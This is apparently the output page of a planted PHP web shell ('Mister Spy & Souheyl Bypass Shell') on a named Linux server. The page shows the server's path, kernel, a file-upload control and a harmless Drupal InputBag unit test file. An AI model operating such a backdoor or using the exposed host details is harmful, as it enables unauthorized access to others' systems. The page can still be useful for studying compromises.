Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/pallets/web/core/tests/Drupal/Tests/Core/Http/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/pallets/web/core/tests/Drupal/Tests/Core/Http/InputBagTest.php

<?php

namespace Drupal\Tests\Core\Http;

use Drupal\Core\Http\InputBag;
use Drupal\Tests\UnitTestCase;
use Symfony\Component\HttpFoundation\Request;

/**
 * @coversDefaultClass \Drupal\Core\Http\InputBag
 *
 * @group Http
 */
class InputBagTest extends UnitTestCase {

  /**
   * @covers ::all
   */
  public function testAll() {
    $input = [
      'bad' => 'bad',
      'good' => ['good'],
    ];
    $input_bag = new InputBag();
    $input_bag->replace($input);
    $this->assertSame($input_bag->all(), $input);
    $this->assertSame($input_bag->all('good'), ['good']);
    $this->expectException(\UnexpectedValueException::class);
    $input_bag->all('bad');
  }

  /**
   * @coversNothing
   * @todo Remove this when Symfony 4 is no longer supported.
   */
  public function testRequestFactory() {
    $request = Request::create('');
    $this->assertInstanceOf(InputBag::class, $request->query);
  }

}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net